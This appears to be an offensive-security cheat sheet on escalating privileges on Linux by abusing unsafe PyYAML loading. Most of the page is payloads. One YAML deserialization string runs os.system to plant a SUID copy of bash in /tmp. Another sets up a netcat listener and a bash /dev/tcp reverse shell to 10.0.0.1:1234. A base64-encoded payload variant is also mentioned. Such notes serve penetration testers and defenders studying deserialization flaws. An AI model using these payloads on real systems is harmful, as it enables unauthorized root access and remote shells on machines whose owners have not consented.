# Python Yaml Privilege Escalation

### [Investigation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-yaml-privilege-escalation/#investigation) <a href="#investigation" id="investigation"></a>

```python
import yaml

filename = "example.yml"
yaml.load()
Copied!
```

<br>

### [Payloads](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-yaml-privilege-escalation/#payloads) <a href="#payloads" id="payloads"></a>

```python
import yaml
from yaml import Loader, UnsafeLoader

data = b'!!python/object/new:os.system ["cp `which bash` /tmp/bash;chown root /tmp/bash;chmod u+sx /tmp/bash"]'
yaml.load(data)
yaml.load(data, Loader=Loader)
yaml.load(data, Loader=UnsafeLoader)
yaml.load_all(data)
yaml.load_all(data, Loader=Loader)
yaml.load_all(data, Loader=UnsafeLoader)
yaml.unsafe_load(data)
Copied!
```

Now execute the **`bash`** in privilege mode.

```bash
/tmp/bash -p
Copied!
```

#### [Reverse Shell](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-yaml-privilege-escalation/#reverse-shell) <a href="#reverse-shell" id="reverse-shell"></a>

Start a listener in local machine.

```bash
nc -lvnp 1234
Copied!
```

Then execute Python script that contains the following `YAML` code as root.

```python
import yaml
yaml.load('!!python/object/new:os.system ['bash -c "bash -i >& /dev/tcp/10.0.0.1/1234 0>&1"'])
Copied!
```

#### [Base64 Encoding](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-yaml-privilege-escalation/#base64-encoding) <a href="#base64-encoding" id="base64-encoding"></a>

Sometimes we might be able to remote code execution by using Base64 encoded payload.

```python
yaml.load(b64decode(b"ISFweXRa...YXNoIl0="))
Copied!
```

### References

* <https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation>


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